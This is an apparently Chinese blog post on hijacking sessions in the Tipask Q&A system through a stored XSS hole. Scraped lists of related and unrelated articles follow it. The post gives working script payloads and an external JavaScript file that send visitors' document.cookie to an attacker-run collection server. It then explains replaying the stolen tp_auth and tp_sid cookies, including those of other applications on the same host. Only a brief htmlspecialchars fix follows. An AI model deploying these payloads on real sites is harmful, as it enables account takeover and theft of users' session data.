首先一定要先来吐槽一下tipask系统。这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御。

言归正传:

【准备1】 cookie接收服务器。 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。

数据表结构很简单

其中time,ip,pre_url都可以没有。

页面代码如下

实际应用像下面这样:

访问链接:http://xxx.sinaapp.com/?cookie=xxxx;

xxxx的内容就会自动存入数据库。

【准备2】利用xss漏洞截取用户的cookie

输入内容

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>

提交后发现没反应,审查元素:

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>

发现代码被浏览器处理过了:把加号给过滤掉了。怎么处理呢?

答案是:引入外部js文件!!

还是在刚才的文本框输入:

<script src='http://xxx.sinaapp.com/js/test.js'></script>

js文件内容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;

【Go!】

当用户访问被XSS注入的页面时,会自动引入test.js文件,这个文件里包含的js语句,会读取页面的cookie,然后访问一个get传值的页面,cookie就会自动存储到数据库中了~

【获得cookie之后】

win7下的cookie存储方式比较特别,xxxx.txt,根本分不清哪个是哪个,于是楼主给chrome浏览器装了个插件,EditThisCookie,可以在浏览器上对cookie进行读取,删除,修改操作。

tipask用了thinkphp框架,ThinkPHP保存cookie时有两个关键值,tp_auth和tp_sid,更新了这两个值就能获取登录状态了。但是,咳咳,ThinkPHP框架把tp_auth的值设置了和IP绑定,所以即使你拿到cookie,如果cookie不匹配,也P用不中~但是,咳咳咳,此处获取的cookie可不只tipask系统的cookie,而是tipask系统所在IP地址所有应用的cookie..比如说,xxx.xxx.edu.cn对应是dz论坛,xxx.xxx.edu.cn/zhidao对应的tipask,那么获取的cookie既有tipask的,也有dz论坛的。所以~

【xss注入初步解决方案】

1. 防止xss注入的原理,就是对用户输入的富文本进行html encode

PHP环境下处理函数如下:

function re_xss($list)
{
if(is_array($list))
foreach ($list as $key => $value)
{
foreach ($value as $keys => $values)
{
$list[$key][$keys]=htmlspecialchars($values);
}
}
else
$list=htmlspecialchars($list);
return $list;
}

2. 防止cookie被窃取的原理,就是像ThinkPHP,把cookie和IP地址绑定,或者和其他唯一值绑定。

【web安全】第一弹:利用xss注入获取cookie的更多相关文章

  1. web前端-----第一弹html

    HTML 初识 web服务本质 import socket def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s ...

  2. Exploiting second-order SQL injection 利用二阶注入获取数据库版本信息 SQL Injection Attacks and Defense Second Edition

    w SQL Injection Attacks and Defense  Second Edition Exploiting second-order SQL injection Virtually ...

  3. 利用insert,update和delete注入获取数据

    0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...

  4. 构造个人轻量级XSS平台获取管理员cookie并登录

    一.前言 本平台是个人轻量级XSS测试平台,仅作为练习参考. 二.实验环境 服务器操作系统:Centos 7 Web容器:Apache 三.平台搭建过程 安装Apache 安装PHP 安装Git工具 ...

  5. 风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE

    风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE XSS如何利用 获取COOKIE 我们使用pikachu写的pkxss后台 使用方法: <img src="http:/ ...

  6. Web安全攻防(一)XSS注入和CSRF

    跨站脚本攻击(XSS) XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS. 攻击原理: 恶意攻击者往Web页面里插入恶意Script代码,当 ...

  7. 关于web XSS注入问题

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,附带公司写的一个filer. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经 ...

  8. web安全之XSS注入

    之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...

  9. 简单利用XSS获取Cookie信息实例演示

    简单利用XSS获取Cookie信息实例演示   首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高.随便 ...

随机推荐

  1. CentOS下挂载U盘

    插入U盘提示: [sdb] No Caching mode page present [sdb] Assuming drive cache: write through 再用fdisk -l 来查看U ...

  2. linux启动的过程

    总结一下,linux的开机整个流程. · 1: 启动电源后,主机第一步先做的就是查询BIOS(全称:basic input/output system 基本输入输出系统)信息.了解整个系统的硬件状态, ...

  3. java pdu短信解码

    java pdu短信解码 长短信未验证 有兴趣的可以试试 根据python的方法改写的 /** * PDU短信解析 * * * @param pduPayload * @return */ publi ...

  4. java窗体与Flash交互

    最近在研究flash,用flash去读取文件很简单,但是存储文件就很麻烦了. 因此想到用java的窗体进行交互. 下面是DJNativeSwing-SWT-1-0-3-20140708的下载链接: h ...

  5. Java 实现顺序查找

    package search; import java.util.Scanner; /*通常把查找过程中对关键字的平均比较次数,也叫平均查找长度(ASL)作为衡量一个查找算法效率优劣的标准: * AS ...

  6. file is missing from source location:c\temp\batang.ttc

    打开注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink 在右侧找到 Micr ...

  7. java.sql.SQLException: ORA-28001: the password has expired。

    java.sql.SQLException: ORA-28001: the password has expired. Oracle11g的密码过期. 原因:是由于oracle11g中默认在defau ...

  8. Bootstrap--组件之按钮组

    什么是按钮组呢?简单解释:就是把一堆的按钮放在一行或者一列中.下面来看一个实例. 按钮组嘛,首先是按钮,所以会用到.btn这个类,还有就是bootstrap提供的按钮组.btn-group这个类,所以 ...

  9. IE下onchange事件不立即执行

    做前端开发免不了为浏览器的兼容而劳神,所以坚持把发现的浏览器兼容问题做做总结,是很有意义的. 比如IE8及以下的浏览器的onchange事件实在该控件失去焦点之后才执行的,也就是要点一下空白的地方,才 ...

  10. Mysql 的一些异常解决

    一.关于大文件存储 1.利用mysql存储大文件时,异常截图 在配置文件中加上如下一行 2.改完后重启mysql,但是又报如下错误: 解决方案: 我的mysql 是5.6版本,查到网上说要修改配置文件 ...